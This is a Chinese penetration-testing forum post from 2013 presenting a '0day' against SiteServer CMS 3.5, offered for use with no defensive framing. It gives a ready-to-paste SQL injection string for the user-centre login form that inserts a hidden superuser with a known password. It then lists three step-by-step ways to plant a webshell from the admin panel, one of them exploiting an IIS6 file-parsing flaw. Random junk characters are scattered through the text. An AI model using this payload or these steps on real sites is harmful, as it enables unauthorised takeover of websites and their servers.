中国网络渗透测试联盟

标题: SiteServer CMS 0Day [打印本页]
作者: admin    时间: 2013-1-11 21:10
标题: SiteServer CMS 0Day
经测试秒杀最新的3.5版# b0 l& L/ M$ F' r+ N$ t8 ~

% w; i2 u3 U, U0 ]) N' Wstieserver官网:www.siteserver.cn
# ]' S; O7 c. D6 g/ I6 J% B. g. g: y7 W4 `1 Y8 U4 P

9 b6 m9 {8 e% P* f0 D& {) ]" _1 b: l1 e8 y% n# y
EXP:; j% }$ J6 t/ |6 V. R3 X

5 S0 m8 r) V7 F, X/ r$ X! s- ?直接访问UserCenter/login.aspx5 h( p3 F! ~. q( v

" y- B( ]: C3 R3 k & Y# X1 I/ L  M  B
8 D6 a; o3 o3 i4 j  [0 Z- f
用户名处输入：
7 P5 F" x' k: b, r: T- k$ \8 J" a: P1 Z$ @/ J+ q
123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--
2 n' D1 j& Z! ?" s0 c0 I5 ~; s) L5 M: I0 Z) `* u2 }# D
' c7 Q' ~; E4 U' b. d/ d

6 R1 b% P. p6 u密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。: O/ T/ j7 U% m. Q8 }; r% {" w- I
) n% x7 u2 s; C

0 M# g! `1 z2 t1 L1 h! x8 U3 o; L$ E9 ~% {4 a' t
之后再访问后台SiteServer/login.aspx用插入的用户登陆6 V0 T2 ^( f  h  e- N, x7 M1 y1 ^

" h6 f' g' O; M5 R! {& G 4 f2 {5 M8 b! ?2 m" x2 ?

  _$ g0 ]9 v: ?9 {8 [9 C# X后台拿webshell的三种方法：$ v6 n. |' A5 v* R

- h3 P8 ~& n# {, f3 B一、
  u; z! F, z6 O' ^. b- s3 j& o1 S" q1 s! b6 j+ Z
站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx/ G, f$ D3 J( g

5 A4 F1 ^9 m4 l; o4 Y; x/ B2 M6 ]0 l二、# @. e( C( i/ e

) z; U% N. H0 v3 x9 \成员权限-》添加用户-》用户名为：1.asp5 `; L7 C4 P6 i  j

. }' k) ?/ X/ i) }: R" Ihttp://127.0.0.1/usercenter// [) s# Y) @+ b' a

& n" y& Y; F. C. }4 _) Q& o7 }) F用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell0 [8 e! i9 l0 T- s
. @# x9 W  A: R/ B6 ^" T
（ps：后台添加用户时不会验证是否含有非法字符）
( A4 |6 j2 z. E0 @9 r% C9 K) D' C
- @& g# w9 U9 f2 ?! P! I6 N三、
/ p" L+ o4 }3 q% Z4 ~
. m/ r! c! x4 W系统工具-》实用工具-》机器参数查看
- {, N$ ~2 T% O& {, O) O" I5 S可以看到数据库类型、名称，WEB路径
& d9 b$ |- a8 E4 T& d0 v/ F! ]  e2 }1 A& P4 R
系统工具-》数据库工具-》SQL语句查询
- V# S8 H: H; x. V& y! j7 f. z这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。
/ y) {4 O% P1 e! r' l
! s( r% Q* {+ j* g



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2